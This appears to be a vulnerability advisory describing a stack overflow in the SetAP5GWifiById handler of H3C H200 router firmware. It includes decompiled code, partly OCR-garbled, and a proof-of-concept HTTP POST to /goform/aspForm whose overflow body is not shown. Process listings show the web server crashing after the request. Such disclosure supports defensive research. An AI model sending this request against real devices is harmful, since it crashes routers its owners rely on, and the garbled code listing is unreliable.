

H3C H200[H200-EI] (H200V100R004) has a stack overflow vulnerability

Overview

- Manufacturer's website information: https://www.h3c.com/
- Firmware download address: https://www.h3c.com/cn/d_202009/1345678_30005_0.htm

Product Information

H3C H200[H200-EI] H200V100R004, the latest version of simulation overview:



Vulnerability details

The H3C H200[H200-EI] (H200V100R004) was found to have a stack overflow vulnerability in the SetAP5GWifiById function. An attacker can obtain a stable root shell through a carefully constructed payload.

```
1 int fastcall sub 460498(int a1)
  2 {
  3
      int v2; // [sp+18h] [+18h]
     int v3; // [sp+20h] [+20h]
      int v4; // [sp+24h] [+24h]
      int v5; // [sp+28h] [+28h]
  7
      int v6; // [sp+2Ch] [+2Ch]
      int v7; // [sp+30h] [+30h]
  8
      char v8[128]; // [sp+34h] [+34h] BYREF
      int v9; // [sp+B4h] [+B4h] BYREF
 10
      int v10; // [sp+B8h] [+B8h] BYREF
 11
 12
 13
      \sqrt{7} = 0;
14
      memset(v8, 0, sizeof(v8));
15
      v9 = 0;
16
      \vee 10 = 0;
17
      \sqrt{5} = \text{sub } 4932BC(a1,
                             param",
                                     &dword 4E3DA0);
         (!v5)
18
9 19
        return -2;
      sscanf(\/5, "%[^;]"
20
21
      v6 = v5 + strlen(v8) + 1;
```

In the SetAP5GWifiById function, V5 (the value param) we entered is formatted using the sscanf function and in the form of %[^;]. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V8, it will cause a stack overflow.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Boot the firmware by gemu-system or other ways (real machine)
- 2. Attack with the following POC attacks

```
POST /goform/aspForm HTTP/1.1
Host: 192.168.0.124:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.
Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
Accept-Encoding: gzip, deflate
Referer: https://121.226.152.63:8443/router_password_mobile.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 553
Origin: https://192.168.0.124:80
DNT: 1
Connection: close
Cookie: JSESSIONID=5c31d502
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
```

```
987 *root 840 S dnsmasq -r /etc/resolv.conf -n -c 500
989 *root 964 S /bin/dhcpd -d -q eth0
1020 *root 320 S /bin/igmpproxy WAN1 eth0 -D
1051 *root 872 S upnpd /var/run/upnp_385875968 eth0 WAN1
1225 *root 580 S telnetd
1357 *root 1048 S -mwcli
1358 *root 800 S /bin/sh
1393 *root 2880 S /bin/webs &
1397 *root 728 R pS
```


The picture above shows the process information before we send poc.

```
/bin/maincontrol &
 960 *root
                 840 S
987 *root
                          /bin/dhcpd -d -q eth0
                          /bin/igmpproxy WAN1 eth0 -D
1020 *root
                          upnpd /var/run/upnp 385875968 eth0 WAN1
1051 *root
1225 *root
                          telnetd
1357 *root
                1048 S
                          /bin/sh
                2216 S
1405 *root
1408 *root
                 728 R
```

In the picture above, we can see that the PID has changed since we sent the POC.



The picture above is the log information.



By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell.